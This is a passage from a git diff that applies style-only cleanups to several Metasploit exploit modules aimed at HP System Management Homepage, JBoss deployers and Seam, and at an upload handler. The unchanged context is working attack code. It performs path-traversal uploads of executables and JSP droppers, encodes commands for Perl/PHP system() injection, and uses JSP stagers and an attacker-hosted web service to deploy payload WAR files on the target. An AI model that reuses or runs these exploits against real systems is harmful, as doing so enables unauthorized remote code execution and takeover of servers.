Rex::Text.rand_text_alpha(rand(8..15)) + var_fperm = Rex::Text.rand_text_alpha(rand(8..15)) + var_fdel = Rex::Text.rand_text_alpha(rand(8..15)) jspraw = "<%@ page import=\"java.io.*\" %>\n" jspraw << "<%\n" @@ -245,15 +243,15 @@ class MetasploitModule < Msf::Exploit::Remote payload_hex = payload.encoded_exe.unpack('H*')[0] post_data = Rex::MIME::Message.new - post_data.add_part(payload_hex, "application/octet-stream", nil, "form-data; name=\"#{rand_text_alpha(4)}\"; filename=\"#{rand_text_alpha(4)}.png\"") + post_data.add_part(payload_hex, 'application/octet-stream', nil, "form-data; name=\"#{rand_text_alpha(4)}\"; filename=\"#{rand_text_alpha(4)}.png\"") - if target['Platform'] == "linux" - traversal = "../../../../../../" - elsif target['Platform'] == "win" - traversal = "..\\..\\..\\..\\..\\..\\" + if target['Platform'] == 'linux' + traversal = '../../../../../../' + elsif target['Platform'] == 'win' + traversal = '..\\..\\..\\..\\..\\..\\' end - print_status("Uploading the payload") + print_status('Uploading the payload') res = send_request_cgi( { 'uri' => "#{@uri}upload?REMOTE_HANDLER_KEY=UploadFilesHandler&UploadFilesHandler.file.name=#{traversal}#{@var_hexfile}.txt&UploadFilesHandler.ovveride=true", @@ -262,23 +260,23 @@ class MetasploitModule < Msf::Exploit::Remote 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'headers' => { - 'Cookie' => "JSESSIONID=#{session_id}", + 'Cookie' => "JSESSIONID=#{session_id}" } } ) if res and res.code == 200 and res.body =~ /file: (.*) uploaded succesfuly to server/ - path = $1 + path = ::Regexp.last_match(1) print_good("Payload successfully uploaded to #{path}") else - print_error("Error uploading the Payload") + print_error('Error uploading the Payload') return end post_data = Rex::MIME::Message.new - post_data.add_part(jspraw, "application/octet-stream", nil, "form-data; name=\"#{rand_text_alpha(4)}\"; filename=\"#{rand_text_alpha(4)}.png\"") + post_data.add_part(jspraw, 'application/octet-stream', nil, "form-data; name=\"#{rand_text_alpha(4)}\"; filename=\"#{rand_text_alpha(4)}.png\"") - print_status("Uploading the JSP") + print_status('Uploading the JSP') res = send_request_cgi( { 'uri' => normalize_uri(@uri, 'upload') + "?REMOTE_HANDLER_KEY=UploadFilesHandler&UploadFilesHandler.file.name=#{traversal}#{@jsp_name}.jsp&UploadFilesHandler.ovveride=true", @@ -287,16 +285,16 @@ class MetasploitModule < Msf::Exploit::Remote 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'headers' => { - 'Cookie' => "JSESSIONID=#{session_id}", + 'Cookie' => "JSESSIONID=#{session_id}" } } ) if res and res.code == 200 and res.body =~ /file: (.*) uploaded succesfuly to server/ - path = $1 + path = ::Regexp.last_match(1) print_good("JSP successfully uploaded to #{path}") else - print_error("Error uploading the JSP") + print_error('Error uploading the JSP') return end @@ -307,7 +305,7 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => 'GET', 'headers' => { - 'Cookie' => "JSESSIONID=#{session_id}", + 'Cookie' => "JSESSIONID=#{session_id}" } } ) @@ -315,41 +313,41 @@ class MetasploitModule < Msf::Exploit::Remote def create_user data = "<?xml version='1.0' encoding='UTF-8'?>" + "\r\n" - data << "<wsns0:Envelope" + "\r\n" + data << '<wsns0:Envelope' + "\r\n" data << "xmlns:wsns1='http://www.w3.org/2001/XMLSchema-instance'" + "\r\n" data << "xmlns:xsd='http://www.w3.org/2001/XMLSchema'" + "\r\n" data << "xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'" + "\r\n" - data << ">" + "\r\n" - data << "<wsns0:Body" + "\r\n" + data << '>' + "\r\n" + data << '<wsns0:Body' + "\r\n" data << "wsns0:encodingStyle='http://schemas.xmlsoap.org/soap/encoding/'" + "\r\n" - data << ">" + "\r\n" - data << "<impl:create" + "\r\n" + data << '>' + "\r\n" + data << '<impl:create' + "\r\n" data << "xmlns:impl='http://Api.freshtech.COM'" + "\r\n" - data << ">" + "\r\n" - data << "<in0" + "\r\n" + data << '>' + "\r\n" + data << '<in0' + "\r\n" data << "xsi:type='xsd:string'" + "\r\n" data << "xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'" + "\r\n" - data << ">UserInstancePreferences</in0>" + "\r\n" - data << "<in1" + "\r\n" + data << '>UserInstancePreferences</in0>' + "\r\n" + data << '<in1' + "\r\n" data << "xsi:type='apachesoap:Map'" + "\r\n" data << "xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'" + "\r\n" - data << ">" + "\r\n" - data << "<item" + "\r\n" + data << '>' + "\r\n" + data << '<item' + "\r\n" data << "xsi:type='apachesoap:mapItem'" + "\r\n" - data << ">" + "\r\n" - data << "<key" + "\r\n" + data << '>' + "\r\n" + data << '<key' + "\r\n" data << "xsi:nil='true'" + "\r\n" data << "xsi:type='xsd:anyType'" + "\r\n" - data << "></key>" + "\r\n" - data << "<value" + "\r\n" + data << '></key>' + "\r\n" + data << '<value' + "\r\n" data << "xsi:nil='true'" + "\r\n" data << "xsi:type='xsd:anyType'" + "\r\n" - data << "></value>" + "\r\n" - data << "</item>" + "\r\n" - data << "</in1>" + "\r\n" - data << "</impl:create>" + "\r\n" - data << "</wsns0:Body>" + "\r\n" - data << "</wsns0:Envelope>" + "\r\n" + data << '></value>' + "\r\n" + data << '</item>' + "\r\n" + data << '</in1>' + "\r\n" + data << '</impl:create>' + "\r\n" + data << '</wsns0:Body>' + "\r\n" + data << '</wsns0:Envelope>' + "\r\n" res = send_request_cgi({ 'uri' => normalize_uri(@uri, 'services/APIPreferenceImpl'), @@ -357,7 +355,7 @@ class MetasploitModule < Msf::Exploit::Remote 'ctype' => 'text/xml; charset=UTF-8', 'data' => data, 'headers' => { - 'SOAPAction' => '""', + 'SOAPAction' => '""' } }) diff --git a/modules/exploits/multi/http/hp_sys_mgmt_exec.rb b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb index 39c147ab99..3ebef662fe 100644 --- a/modules/exploits/multi/http/hp_sys_mgmt_exec.rb +++ b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb @@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote super( update_info( info, - 'Name' => "HP System Management Homepage JustGetSNMPQueue Command Injection", + 'Name' => 'HP System Management Homepage JustGetSNMPQueue Command Injection', 'Description' => %q{ This module exploits a vulnerability found in HP System Management Homepage. By supplying a specially crafted HTTP request, it is possible to control the @@ -77,8 +77,8 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(2381), # USERNAME/PASS may not be necessary, because the anonymous access is possible - OptString.new("USERNAME", [false, 'The username to authenticate as']), - OptString.new("PASSWORD", [false, 'The password to authenticate with']) + OptString.new('USERNAME', [false, 'The username to authenticate as']), + OptString.new('PASSWORD', [false, 'The password to authenticate with']) ] ) end @@ -94,8 +94,8 @@ class MetasploitModule < Msf::Exploit::Remote cmd = "echo #{sig}&&whoami&&echo #{sig}" res = send_command(cmd) - if not res - vprint_error("Connection timed out") + if !res + vprint_error('Connection timed out') return Exploit::CheckCode::Unknown end @@ -124,53 +124,53 @@ class MetasploitModule < Msf::Exploit::Remote } }) - if not res + if !res fail_with(Failure::Unknown, "#{peer} - Connection timed out during login") end # CpqElm-Login: success if res.headers['CpqElm-Login'].to_s =~ /success/ - cookie = res.get_cookies.scan(/(Compaq\-HMMD=[\w\-]+)/).flatten[0] || '' + cookie = res.get_cookies.scan(/(Compaq-HMMD=[\w-]+)/).flatten[0] || '' end cookie end def setup_stager - execute_cmdstager(:temp => './', :linemax => 2800) + execute_cmdstager(temp: './', linemax: 2800) end - def execute_command(cmd, opts = {}) + def execute_command(cmd, _opts = {}) # Encodes command as sequence of hex values to be passed to the Perl/PHP # function `pack("N*", ...)` that is then used in a `system(...)` call. # trailing bytes need to be handled separately rem = cmd.size % 4 if rem != 0 - last_bytes = ".chr(#{cmd[-rem..-1].each_byte.map(&:ord).join(").chr(")})" + last_bytes = ".chr(#{cmd[-rem..-1].each_byte.map(&:ord).join(').chr(')})" cmd = cmd[0...-rem] end # convert double words into hex representation - dwords = cmd.each_byte.each_slice(4).map { |dw| - sprintf("0x%x", dw.pack("C*").unpack("N")[0]) - } + dwords = cmd.each_byte.each_slice(4).map do |dw| + sprintf('0x%x', dw.pack('C*').unpack('N')[0]) + end # build final Perl/PHP code that is getting executed - script_code = "system(pack(chr(78).chr(42),#{dwords.join(",")})#{last_bytes});" + script_code = "system(pack(chr(78).chr(42),#{dwords.join(',')})#{last_bytes});" # build Perl/PHP invocation command case target.opts['Platform'] # Perl for Linux as it's more likely to be in the PATH - when "linux" then cmd = "perl -e '#{script_code}'" + when 'linux' then cmd = "perl -e '#{script_code}'" # PHP for Windows - when "win" then cmd = "php -r #{script_code}" + when 'win' then cmd = "php -r #{script_code}" end res = send_command(cmd) if res && res.code != 200 vprint_error("Unexpected response:\n#{res}") - fail_with(Failure::Unknown, "There was an unexpected response") + fail_with(Failure::Unknown, 'There was an unexpected response') end end @@ -196,7 +196,7 @@ class MetasploitModule < Msf::Exploit::Remote end def generate_uri(cmd) - "#{normalize_uri("smhutil", "snmpchp/")}&#{cmd.gsub(/ /, "%20")}&&echo" + "#{normalize_uri('smhutil', 'snmpchp/')}&#{cmd.gsub(/ /, '%20')}&&echo" end def exploit diff --git a/modules/exploits/multi/http/jboss_bshdeployer.rb b/modules/exploits/multi/http/jboss_bshdeployer.rb index f77b52cba9..9c7a4611de 100644 --- a/modules/exploits/multi/http/jboss_bshdeployer.rb +++ b/modules/exploits/multi/http/jboss_bshdeployer.rb @@ -6,7 +6,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking - HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] } + HttpFingerprint = { pattern: [ /(Jetty|JBoss)/ ] } include Msf::Exploit::Remote::HTTP::JBoss @@ -73,7 +73,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Java Universal', { 'Platform' => 'java', - 'Arch' => ARCH_JAVA, + 'Arch' => ARCH_JAVA } ] ], @@ -97,16 +97,16 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - jsp_name = datastore['JSP'] || rand_text_alpha(8 + rand(8)) - app_base = datastore['APPBASE'] || rand_text_alpha(8 + rand(8)) + jsp_name = datastore['JSP'] || rand_text_alpha(rand(8..15)) + app_base = datastore['APPBASE'] || rand_text_alpha(rand(8..15)) - p = payload + payload mytarget = target if target.name =~ /Automatic/ mytarget = auto_target(targets) unless mytarget - fail_with(Failure::NoTarget, "Unable to automatically select a target") + fail_with(Failure::NoTarget, 'Unable to automatically select a target') end print_status("Automatically selected target \"#{mytarget.name}\"") else @@ -118,34 +118,34 @@ class MetasploitModule < Msf::Exploit::Remote plat = [Msf::Module::PlatformList.new(mytarget['Platform']).platforms[0]] # We must regenerate the payload in case our auto-magic changed something. - return if ((p = exploit_regenerate_payload(plat, arch)) == nil) + return if ((p = exploit_regenerate_payload(plat, arch)).nil?) # Generate the WAR containing the payload war_data = p.encoded_war({ - :app_name => app_base, - :jsp_name => jsp_name, - :arch => mytarget.arch, - :platform => mytarget.platform + app_name: app_base, + jsp_name: jsp_name, + arch: mytarget.arch, + platform: mytarget.platform }).to_s encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '') if http_verb == 'POST' - print_status("Deploying payload...") + print_status('Deploying payload...') opts = { - :file => "#{app_base}.war", - :contents => encoded_payload + file: "#{app_base}.war", + contents: encoded_payload } else - print_status("Deploying stager...") - stager_base = rand_text_alpha(8 + rand(8)) - stager_jsp_name = rand_text_alpha(8 + rand(8)) + print_status('Deploying stager...') + stager_base = rand_text_alpha(rand(8..15)) + stager_jsp_name = rand_text_alpha(rand(8..15)) stager_contents = stager_jsp(app_base) opts = { - :dir => "#{stager_base}.war", - :file => "#{stager_base}.war/#{stager_jsp_name}.jsp", - :contents => Rex::Text.encode_base64(stager_contents).gsub(/\n/, '') + dir: "#{stager_base}.war", + file: "#{stager_base}.war/#{stager_jsp_name}.jsp", + contents: Rex::Text.encode_base64(stager_contents).gsub(/\n/, '') } end @@ -153,19 +153,19 @@ class MetasploitModule < Msf::Exploit::Remote package = deploy_bsh(bsh_payload) if package.nil? - fail_with(Failure::Unknown, "Failed to deploy") + fail_with(Failure::Unknown, 'Failed to deploy') end unless http_verb == 'POST' # now we call the stager to deploy our real payload war stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp' - payload_data = "#{rand_text_alpha(8 + rand(8))}=#{Rex::Text.uri_encode(encoded_payload)}" + payload_data = "#{rand_text_alpha(rand(8..15))}=#{Rex::Text.uri_encode(encoded_payload)}" print_status("Calling stager #{stager_uri} to deploy final payload") res = deploy('method' => 'POST', 'data' => payload_data, 'uri' => stager_uri) unless res && res.code == 200 - fail_with(Failure::Unknown, "Failed to deploy") + fail_with(Failure::Unknown, 'Failed to deploy') end end @@ -173,7 +173,7 @@ class MetasploitModule < Msf::Exploit::Remote # EXECUTE # uri = '/' + app_base + '/' + jsp_name + '.jsp' - print_status("Calling JSP file with final payload...") + print_status('Calling JSP file with final payload...') print_status("Executing #{uri}...") deploy('uri' => uri, 'method' => 'GET') @@ -194,7 +194,7 @@ class MetasploitModule < Msf::Exploit::Remote res = invoke_bsh_script(delete_script, package) if res.nil? - print_warning("WARNING: Unable to remove WAR [No Response]") + print_warning('WARNING: Unable to remove WAR [No Response]') elsif res.code < 200 || res.code >= 300 print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]") end diff --git a/modules/exploits/multi/http/jboss_deploymentfilerepository.rb b/modules/exploits/multi/http/jboss_deploymentfilerepository.rb index 6f0be43e58..4ed0bb8b86 100644 --- a/modules/exploits/multi/http/jboss_deploymentfilerepository.rb +++ b/modules/exploits/multi/http/jboss_deploymentfilerepository.rb @@ -6,7 +6,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking - HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] } + HttpFingerprint = { pattern: [ /(Jetty|JBoss)/ ] } include Msf::Exploit::Remote::HTTP::JBoss @@ -38,7 +38,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Automatic (Java based)', { 'Arch' => ARCH_JAVA, - 'Platform' => 'java', + 'Platform' => 'java' } ], @@ -67,7 +67,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Java Universal', { 'Platform' => 'java', - 'Arch' => ARCH_JAVA, + 'Arch' => ARCH_JAVA } ] ], @@ -92,21 +92,21 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - jsp_name = datastore['JSP'] || rand_text_alpha(8 + rand(8)) - app_base = datastore['APPBASE'] || rand_text_alpha(8 + rand(8)) - stager_base = rand_text_alpha(8 + rand(8)) - stager_jsp_name = rand_text_alpha(8 + rand(8)) + jsp_name = datastore['JSP'] || rand_text_alpha(rand(8..15)) + app_base = datastore['APPBASE'] || rand_text_alpha(rand(8..15)) + stager_base = rand_text_alpha(rand(8..15)) + stager_jsp_name = rand_text_alpha(rand(8..15)) - p = payload + payload mytarget = target if (http_verb == 'HEAD') - print_status("Unable to automatically select a target with HEAD requests") + print_status('Unable to automatically select a target with HEAD requests') else if (target.name =~ /Automatic/) mytarget = auto_target(targets) - if (not mytarget) - fail_with(Failure::NoTarget, "Unable to automatically select a target") + if (!mytarget) + fail_with(Failure::NoTarget, 'Unable to automatically select a target') end print_status("Automatically selected target \"#{mytarget.name}\"") else @@ -119,27 +119,27 @@ class MetasploitModule < Msf::Exploit::Remote plat = [Msf::Module::PlatformList.new(mytarget['Platform']).platforms[0]] # We must regenerate the payload in case our auto-magic changed something. - return if ((p = exploit_regenerate_payload(plat, arch)) == nil) + return if ((p = exploit_regenerate_payload(plat, arch)).nil?) # Generate the WAR containing the payload war_data = p.encoded_war({ - :app_name => app_base, - :jsp_name => jsp_name, - :arch => mytarget.arch, - :platform => mytarget.platform + app_name: app_base, + jsp_name: jsp_name, + arch: mytarget.arch, + platform: mytarget.platform }).to_s encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '') stager_contents = stager_jsp_with_payload(app_base, encoded_payload) # Depending on the type on the verb we might use a second stager - if http_verb == "POST" then - print_status("Deploying stager for the WAR file") + if http_verb == 'POST' + print_status('Deploying stager for the WAR file') res = upload_file(stager_base, stager_jsp_name, stager_contents) else - print_status("Deploying minimal stager to upload the payload") - head_stager_jsp_name = rand_text_alpha(8 + rand(8)) + print_status('Deploying minimal stager to upload the payload') + head_stager_jsp_name = rand_text_alpha(rand(8..15)) head_stager_contents = head_stager_jsp(stager_base, stager_jsp_name) - head_stager_uri = "/" + stager_base + "/" + head_stager_jsp_name + ".jsp" + head_stager_uri = '/' + stager_base + '/' + head_stager_jsp_name + '.jsp' res = upload_file(stager_base, head_stager_jsp_name, head_stager_contents) # We split the stager_jsp_code in multipe junks and transfer on the @@ -147,7 +147,7 @@ class MetasploitModule < Msf::Exploit::Remote current_pos = 0 while current_pos < stager_contents.length next_pos = current_pos + 5000 + rand(100) - vars_get = { "arg0" => stager_contents[current_pos, next_pos] } + vars_get = { 'arg0' => stager_contents[current_pos, next_pos] } print_status("Uploading second stager (#{current_pos}/#{stager_contents.length})") res = deploy('uri' => head_stager_uri, 'vars_get' => vars_get) @@ -158,26 +158,26 @@ class MetasploitModule < Msf::Exploit::Remote # Using HEAD may trigger a 500 Internal Server Error (at leat on 4.2.3.GA), # but the file still gets written. unless res && (res.code == 200 || res.code == 500) - fail_with(Failure::Unknown, "Failed to deploy") + fail_with(Failure::Unknown, 'Failed to deploy') end - print_status("Calling stager to deploy the payload warfile (might take some time)") + print_status('Calling stager to deploy the payload warfile (might take some time)') stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp' - stager_res = deploy('uri' => stager_uri, - 'method' => 'GET') + deploy('uri' => stager_uri, + 'method' => 'GET') - print_status("Try to call the deployed payload") + print_status('Try to call the deployed payload') # Try to execute the payload by calling the deployed WAR file - payload_uri = "/" + app_base + "/" + jsp_name + '.jsp' - payload_res = deploy('uri' => payload_uri) + payload_uri = '/' + app_base + '/' + jsp_name + '.jsp' + deploy('uri' => payload_uri) # # DELETE # # The WAR can only be removed by physically deleting it, otherwise it # will get redeployed after a server restart. - print_status("Undeploying stager and payload WARs via DeploymentFileRepository.remove()...") - print_status("This might take some time, be patient...") if http_verb == "HEAD" + print_status('Undeploying stager and payload WARs via DeploymentFileRepository.remove()...') + print_status('This might take some time, be patient...') if http_verb == 'HEAD' delete_res = [] if head_stager_jsp_name delete_res << delete_file(stager_base + '.war', head_stager_jsp_name, '.jsp') @@ -187,7 +187,7 @@ class MetasploitModule < Msf::Exploit::Remote delete_res << delete_file('./', app_base + '.war', '') delete_res.each do |res| if !res - print_warning("WARNING: Unable to remove WAR [No Response]") + print_warning('WARNING: Unable to remove WAR [No Response]') elsif (res.code < 200 || res.code >= 300) print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]") end diff --git a/modules/exploits/multi/http/jboss_invoke_deploy.rb b/modules/exploits/multi/http/jboss_invoke_deploy.rb index 23628fc1fa..d507e3fbc6 100644 --- a/modules/exploits/multi/http/jboss_invoke_deploy.rb +++ b/modules/exploits/multi/http/jboss_invoke_deploy.rb @@ -6,7 +6,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking - HttpFingerprint = { :pattern => [ /JBoss/ ] } + HttpFingerprint = { pattern: [ /JBoss/ ] } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE @@ -51,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote [ 'Java Universal', { - 'Arch' => ARCH_JAVA, + 'Arch' => ARCH_JAVA }, ], @@ -100,7 +100,7 @@ class MetasploitModule < Msf::Exploit::Remote vprint_error('Connection timed out') return Exploit::CheckCode::Unknown elsif res.code != 200 - vprint_error("Unable to request version, returned http code is: #{res.code.to_s}") + vprint_error("Unable to request version, returned http code is: #{res.code}") return Exploit::CheckCode::Unknown end @@ -147,21 +147,21 @@ class MetasploitModule < Msf::Exploit::Remote call_uri_mtimes(stager_uri, 5, 'GET') # Generate the WAR with the payload which will be uploaded through the stager - app_base = datastore['APPBASE'] || rand_text_alpha(8 + rand(8)) - jsp_name = datastore['JSP'] || rand_text_alpha(8 + rand(8)) + app_base = datastore['APPBASE'] || rand_text_alpha(rand(8..15)) + jsp_name = datastore['JSP'] || rand_text_alpha(rand(8..15)) war_data = payload.encoded_war({ - :app_name => app_base, - :jsp_name => jsp_name, - :arch => mytarget.arch, - :platform => mytarget.platform + app_name: app_base, + jsp_name: jsp_name, + arch: mytarget.arch, + platform: mytarget.platform }).to_s b64_war = Rex::Text.encode_base64(war_data) - print_status("Uploading payload through stager") - res = send_request_cgi({ + print_status('Uploading payload through stager') + send_request_cgi({ 'uri' => stager_uri, - 'method' => "POST", + 'method' => 'POST', 'vars_post' => { name_parameter => app_base, @@ -170,13 +170,13 @@ class MetasploitModule < Msf::Exploit::Remote }) payload_uri = "/#{app_base}/#{jsp_name}.jsp" - print_status("Calling payload: " + payload_uri) - res = call_uri_mtimes(payload_uri, 5, 'GET') + print_status('Calling payload: ' + payload_uri) + call_uri_mtimes(payload_uri, 5, 'GET') # Remove the payload through stager print_status('Removing payload through stager') delete_payload_uri = stager_uri + "?#{name_parameter}=#{app_base}" - res = send_request_cgi({ 'uri' => delete_payload_uri }) + send_request_cgi({ 'uri' => delete_payload_uri }) # Remove the stager print_status('Removing stager') @@ -187,16 +187,16 @@ class MetasploitModule < Msf::Exploit::Remote end def generate_stager(name_param, content_param) - war_file = rand_text_alpha(4 + rand(4)) - file_content = rand_text_alpha(4 + rand(4)) - jboss_home = rand_text_alpha(4 + rand(4)) - decoded_content = rand_text_alpha(4 + rand(4)) - path = rand_text_alpha(4 + rand(4)) - fos = rand_text_alpha(4 + rand(4)) - name = rand_text_alpha(4 + rand(4)) - file = rand_text_alpha(4 + rand(4)) + war_file = rand_text_alpha(rand(4..7)) + file_content = rand_text_alpha(rand(4..7)) + jboss_home = rand_text_alpha(rand(4..7)) + decoded_content = rand_text_alpha(rand(4..7)) + path = rand_text_alpha(rand(4..7)) + fos = rand_text_alpha(rand(4..7)) + name = rand_text_alpha(rand(4..7)) + file = rand_text_alpha(rand(4..7)) - stager_script = <<~EOT + <<~EOT <%@page import="java.io.*, java.util.*, sun.misc.BASE64Decoder" @@ -284,7 +284,7 @@ class MetasploitModule < Msf::Exploit::Remote # JBoss might need some time for the deployment. Try 5 times at most and # wait 5 seconds inbetween tries num_attempts.times do |attempt| - if verb == "POST" + if verb == 'POST' res = send_request_cgi( { 'uri' => uri, @@ -344,7 +344,7 @@ class MetasploitModule < Msf::Exploit::Remote res = send_serialized_request('osname') if res.body =~ /(Linux|FreeBSD|Windows)/i - os = $1 + os = ::Regexp.last_match(1) if os =~ /Linux/i return 'linux' elsif os =~ /FreeBSD/i @@ -361,7 +361,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status('Attempting to automatically detect the architecture') res = send_serialized_request('osarch') if res.body =~ /(i386|x86)/i - arch = $1 + arch = ::Regexp.last_match(1) if arch =~ /i386|x86/i return ARCH_X86 # TODO, more diff --git a/modules/exploits/multi/http/jboss_maindeployer.rb b/modules/exploits/multi/http/jboss_maindeployer.rb index 87528bc79f..280c1dd6f7 100644 --- a/modules/exploits/multi/http/jboss_maindeployer.rb +++ b/modules/exploits/multi/http/jboss_maindeployer.rb @@ -6,7 +6,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking - HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] } + HttpFingerprint = { pattern: [ /(Jetty|JBoss)/ ] } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer @@ -74,7 +74,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Java Universal', { 'Platform' => 'java', - 'Arch' => ARCH_JAVA, + 'Arch' => ARCH_JAVA } ] ], @@ -104,16 +104,16 @@ class MetasploitModule < Msf::Exploit::Remote end def auto_target - if datastore['VERB'] == 'HEAD' then + if datastore['VERB'] == 'HEAD' print_status("Sorry, automatic target detection doesn't work with HEAD requests") else - print_status("Attempting to automatically select a target...") + print_status('Attempting to automatically select a target...') res = query_serverinfo - if not (plat = detect_platform(res)) + if !(plat = detect_platform(res)) fail_with(Failure::NoTarget, 'Unable to detect platform!') end - if not (arch = detect_architecture(res)) + if !(arch = detect_architecture(res)) fail_with(Failure::NoTarget, 'Unable to detect architecture!') end @@ -127,14 +127,14 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - jsp_name = datastore['JSP'] || rand_text_alpha(8 + rand(8)) - app_base = datastore['APPBASE'] || rand_text_alpha(8 + rand(8)) + jsp_name = datastore['JSP'] || rand_text_alpha(rand(8..15)) + app_base = datastore['APPBASE'] || rand_text_alpha(rand(8..15)) mytarget = target if (target.name =~ /Automatic/) - mytarget = auto_target() - if (not mytarget) - fail_with(Failure::NoTarget, "Unable to automatically select a target") + mytarget = auto_target + if (!mytarget) + fail_with(Failure::NoTarget, 'Unable to automatically select a target') end print_status("Automatically selected target \"#{mytarget.name}\"") else @@ -146,14 +146,14 @@ class MetasploitModule < Msf::Exploit::Remote plat = [Msf::Module::PlatformList.new(mytarget['Platform']).platforms[0]] # We must regenerate the payload in case our auto-magic changed something. - return if ((p = exploit_regenerate_payload(plat, arch)) == nil) + return if ((p = exploit_regenerate_payload(plat, arch)).nil?) # Generate the WAR containing the payload @war_data = p.encoded_war({ - :app_name => app_base, - :jsp_name => jsp_name, - :arch => mytarget.arch, - :platform => mytarget.platform + app_name: app_base, + jsp_name: jsp_name, + arch: mytarget.arch, + platform: mytarget.platform }) # @@ -164,9 +164,9 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Starting up our web service on #{service_url} ...") start_service({ 'Uri' => { - 'Proc' => Proc.new { |cli, req| + 'Proc' => proc do |cli, req| on_request_uri(cli, req) - }, + end, 'Path' => resource_uri } }) @@ -176,7 +176,7 @@ class MetasploitModule < Msf::Exploit::Remote end print_status("Asking the JBoss server to deploy (via MainDeployer) #{service_url}") - if (datastore['VERB'] == "POST") + if (datastore['VERB'] == 'POST') res = send_request_cgi({ 'method' => datastore['VERB'], 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'), @@ -204,7 +204,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 30) end if (!res) - fail_with(Failure::Unknown, "Unable to deploy WAR archive [No Response]") + fail_with(Failure::Unknown, 'Unable to deploy WAR archive [No Response]') end if (res.code < 200 or res.code >= 300) case res.code @@ -215,9 +215,9 @@ class MetasploitModule < Msf::Exploit::Remote end # wait for the data to be sent - print_status("Waiting for the server to request the WAR archive....") + print_status('Waiting for the server to request the WAR archive....') waited = 0 - while (not @war_sent) + until (@war_sent) select(nil, nil, nil, 1) waited += 1 if (waited > 30) @@ -225,7 +225,7 @@ class MetasploitModule < Msf::Exploit::Remote end end - print_status("Shutting down the web service...") + print_status('Shutting down the web service...') cleanup_service # @@ -260,7 +260,7 @@ class MetasploitModule < Msf::Exploit::Remote end if (attempt < num_attempts - 1) - msg << ", retrying in 3 seconds..." + msg << ', retrying in 3 seconds...' print_error(msg) select(nil, nil, nil, 3) @@ -291,7 +291,7 @@ class MetasploitModule < Msf::Exploit::Remote print_warning("WARNING: Undeployment failed on #{app_base} [No Response]") elsif (res.code == 500 and datastore['VERB'] == 'POST') # POST requests result in a http 500 error, but the payload is removed..." - print_warning("WARNING: Undeployment might have failed (unlikely)") + print_warning('WARNING: Undeployment might have failed (unlikely)') elsif (res.code < 200 or res.code >= 300) print_warning("WARNING: Undeployment failed on #{app_base} [#{res.code} #{res.message}]") end @@ -300,14 +300,14 @@ class MetasploitModule < Msf::Exploit::Remote end # Handle incoming requests from the server - def on_request_uri(cli, request) + def on_request_uri(cli, _request) # print_status("on_request_uri called: #{request.inspect}") - if (not @war_data) + if (!@war_data) print_error("A request came in, but the WAR archive wasn't ready yet!") return end - print_status("Sending the WAR archive to the server...") + print_status('Sending the WAR archive to the server...') send_response(cli, @war_data) @war_sent = true end @@ -321,10 +321,10 @@ class MetasploitModule < Msf::Exploit::Remote ) if (res) && (res.code == 401) - fail_with(Failure::NoAccess, "Unable to bypass authentication. Try changing the verb to HEAD to exploit CVE-2010-0738.") + fail_with(Failure::NoAccess, 'Unable to bypass authentication. Try changing the verb to HEAD to exploit CVE-2010-0738.') end - if (not res) or (res.code != 200) + if (!res) or (res.code != 200) fail_with(Failure::Unknown, "Failed: Error requesting #{path}") end @@ -337,8 +337,8 @@ class MetasploitModule < Msf::Exploit::Remote # Try to autodetect the target platform def detect_platform(res) - if (res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m) - os = $1 + if (res.body =~ %r{<td.*?OSName.*?(Linux|FreeBSD|Windows).*?</td>}m) + os = ::Regexp.last_match(1) if (os =~ /Linux/i) return 'linux' elsif (os =~ /FreeBSD/i) @@ -352,7 +352,7 @@ class MetasploitModule < Msf::Exploit::Remote # Try to autodetect the target architecture def detect_architecture(res) - if (res.body =~ /<td.*?OSArch.*?(x86_64|amd64|x86|i386|i686).*?<\/td>/m) + if (res.body =~ %r{<td.*?OSArch.*?(x86_64|amd64|x86|i386|i686).*?</td>}m) case arch when 'x86', 'i386', 'i686' return ARCH_X86 diff --git a/modules/exploits/multi/http/jboss_seam_upload_exec.rb b/modules/exploits/multi/http/jboss_seam_upload_exec.rb index ebe303f1f6..d6f7aecd93 100644 --- a/modules/exploits/multi/http/jboss_seam_upload_exec.rb +++ b/modules/exploits/multi/http/jboss_seam_upload_exec.rb @@ -60,11 +60,11 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(8080), - OptString.new('AGENT', [ true, "User-Agent to send with requests", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; 